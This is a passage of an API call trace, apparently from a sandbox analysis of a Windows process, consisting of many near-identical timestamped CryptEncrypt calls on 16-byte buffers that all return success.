dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.075] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.076] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.077] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.078] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, 